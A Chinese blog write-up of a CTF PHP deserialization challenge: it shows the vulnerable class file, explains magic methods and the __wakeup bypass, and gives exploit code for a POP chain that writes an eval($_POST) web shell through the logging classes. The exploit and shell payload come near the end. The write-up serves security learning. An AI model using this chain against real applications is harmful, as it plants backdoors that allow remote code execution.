php反序列化pop链一则

跟随wupco师傅学习

classes.php

<?php

class OutputFilter {
  protected $matchPattern;
  protected $replacement;
  function __construct($pattern, $repl) {
    $this->matchPattern = $pattern;
    $this->replacement = $repl;
  }
  function filter($data) {
    return preg_replace($this->matchPattern, $this->replacement, $data);
  }
};

class LogFileFormat {
  protected $filters;
  protected $endl;
  function __construct($filters, $endl) {
    $this->filters = $filters;
    $this->endl = $endl;
  }
  function format($txt) {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};

class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
  }
};

class Logger {
  protected $logwriter;
  function __construct($writer) {
    $this->logwriter = $writer;
  }
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
};

class Song {
  protected $logger;
  protected $name;
  protected $group;
  protected $url;
  function __construct($name, $group, $url) {
    $this->name = $name;
    $this->group = $group;
    $this->url = $url;
    $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
    $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
  }
  function __toString() {
    return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
  }
  function log() {
    $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
  }
  function get_name() {
      return $this->name;
  }
}

class Lyrics {
  protected $lyrics;
  protected $song;
  function __construct($lyrics, $song) {
    $this->song = $song;
    $this->lyrics = $lyrics;
  }
  function __toString() {
    return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
  }
  function __destruct() {
    $this->song->log();
  }
  function shortForm() {
    return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
  }
  function name_is($name) {
    return $this->song->get_name() === $name;
  }
};

class User {
  static function addLyrics($lyrics) {
    $oldlyrics = array();
    if (isset($_COOKIE['lyrics'])) {
      $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
    }
    foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
    setcookie('lyrics', base64_encode(serialize($oldlyrics)));
  }
  static function getLyrics() {
    if (isset($_COOKIE['lyrics'])) {
      return unserialize(base64_decode($_COOKIE['lyrics']));
    }
    else {
      setcookie('lyrics', base64_encode(serialize(array(1, 2))));
      return array(1, 2);
    }
  }
};

class Porter {
  static function exportData($lyrics) {
    return base64_encode(serialize($lyrics));
  }
  static function importData($lyrics) {
    return serialize(base64_decode($lyrics));
  }
};

class Conn {
  protected $conn;
  function __construct($dbuser, $dbpass, $db) {
    $this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
  }

  function getLyrics($lyrics) {
    $r = array();
    foreach ($lyrics as $lyric) {
      $s = intval($lyric);
      $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
      while (($row = $result->fetch_row()) != NULL) {
        $r []= unserialize(base64_decode($row[0]));
      }
    }
    return $r;
  }

  function addLyrics($lyrics) {
    $ids = array();
    foreach ($lyrics as $lyric) {
      $this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
      $res = $this->conn->query("SELECT MAX(id) FROM lyrics");
      $id= $res->fetch_row(); $ids[]= intval($id[0]);
    }
    echo var_dump($ids);
    return $ids; 
  }

  function __destruct() {
    $this->conn->close();
    $this->conn = NULL;
  }
};

触发点是一个直接可以反序列化。
题目不难,pop链构造一下,最后是可以生成一个shell
可以看看如何构造pop链:http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

这里想记录的是构造pop链的一些过程,重新回顾一下。

unserialize — 从已存储的表示中创建 PHP 的值
类里面经常会用到两种函数:构造函数和析构函数

构造函数:具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。比如__construct
这里特别注意一下,创建新对象的时候才会调用,所以反序列化的时候是不会调用__construct

析构函数:在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。比如__destruct

上面两种都是属于魔术方法,更多的魔术方法可以看:http://php.net/manual/zh/language.oop5.magic.php

所以找反序列化洞的时候一般可以重点关注两个魔术方法:__wakeup()(反序列化的初始化调用)、__destruct()

当然wakeup是可以绕过的,具体可以看看CVE-2016-7124

铺垫完了~下面解析一下这个pop如何构造

漏洞触发点1:可以写log进一个文件:LogWriter_File::writeLog()
$this->filename可控,注意不是$filename
虽然__construct里面写了,感觉是没法跨目录写shell,$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
但是反序列化的时候是不调用的,所以我们可以直接把这个注释掉,然后再在类里面添加一行$this->filename = '../1.php';

但是这里的文件内容为空,应该如何写入内容?
可以看到最上面的,OutputFilter::filter(),可以正则匹配空的,然后替换为shell内容,new OutputFilter("//i", "<i><?php eval(\$_POST[1]);?></i>");

漏洞触发点2:当然如何php如果版本不高于5.5的话,OutputFilter::filter(),可以用正则的/e模式来执行php代码

exp:

$fltr = new OutputFilter("//i", "<i><?php eval(\$_POST[1]);?></i>");
$fileformat_obj = new LogFileFormat();
$format = new LogFileFormat(array($fltr), "\n");

$filename = '1.php';
$logwrite_obj = new LogWriter_File($filename, $format);

$writer = $logwrite_obj;

$logger_obj = new Logger($writer);

$lyrics = 1;
$song = $logger_obj;
$lyrics_obj = new Lyrics($lyrics, $song);

echo base64_encode(serialize($lyrics_obj));

这里还有要说的坑点就是private变量,它最后周围是有不可见字符\x00,所以如果不是base64编码的话,可以用%00来代替。

posted @   l3m0n  阅读(4708)  评论(0)    收藏  举报
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
点击右上角即可分享
微信分享提示